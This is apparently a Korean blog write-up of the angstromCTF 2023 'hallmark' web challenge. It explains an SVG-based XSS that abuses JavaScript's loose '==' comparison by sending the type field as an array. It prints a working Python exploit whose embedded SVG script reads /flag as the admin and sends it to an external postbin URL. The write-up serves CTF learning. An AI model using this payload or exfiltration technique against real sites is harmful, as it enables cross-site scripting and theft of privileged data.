본문 바로가기
CTF

[angstromCTF 2023] hallmark

by skyepodium 2023. 4. 29.

1. 개요

svf XSS, JavaScript 문법 문제

 

2. 분석

1) SVG XSS

SVG XSS에서 가장 중요한 것은 Content-type: image/xvg+xml 이어야한다는 것 입니다.

 

2) JavaScript 값 비교 == vs ===

업데이트 API를 살펴보면, cards[id].type에 값을 넣는 삼항 연산자에서 조건 검색을 "==" 으로 값 비교를 수행하고 content에는 "===" 을 사용합니다.

 

XSS를 위해서 type이 "image/xvg+xml" 이어야하고, 동시에 아니어야 content 가 삽입됩니다.

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");
        return;
    }

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

    res.send("ok");
});

 

자바스크립트에서 == 로 비교하는 경우 값만 비교하기 때문에 사진과 같은 특징을 가집니다. 이것을 이용해서 스크립트를 삽입합니다.

== - 값 비교

=== - 값 & 자료형 비교

 

3) 코드 작성

어드민의 권한으로 /flag 라우터의 플래그를 읽고, postbin으로 생성한 웹서버로 보내도록 payload를 작성했습니다.

import requests

base_url = "https://hallmark.web.actf.co"
id = "ceea0b77-a47f-430f-a3be-d5202243bddd"

payload = """<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <script>
   fetch("/flag")
   .then(response => response.text())
   .then(flag => fetch(`https://www.toptal.com/developers/postbin/1682775742995-4958162251859?flag=${flag}`))
   </script>
</svg>"""


def update_svg() -> None:
    data = {
        "id": id,
        "type[]": "image/svg+xml",
        "content": payload
    }
    result = requests.put(f"{base_url}/card", data=data)
    print(result.text)


if __name__ == "__main__":
    update_svg()

 

admin에 수정된 url을 제출합니다.

 

postbin에 flag가 찍혔습니다.

'CTF' 카테고리의 다른 글

[WaniCTF 2023] 64bps  (0) 2023.05.05
[angstromCTF 2023] brokenlogin  (0) 2023.04.29
[angstromCTF 2023] Celeste Speedrunning Association  (0) 2023.04.29
[BSidesSF 2023 CTF] prototype  (0) 2023.04.26
[angstromCTF 2023] directory  (0) 2023.04.22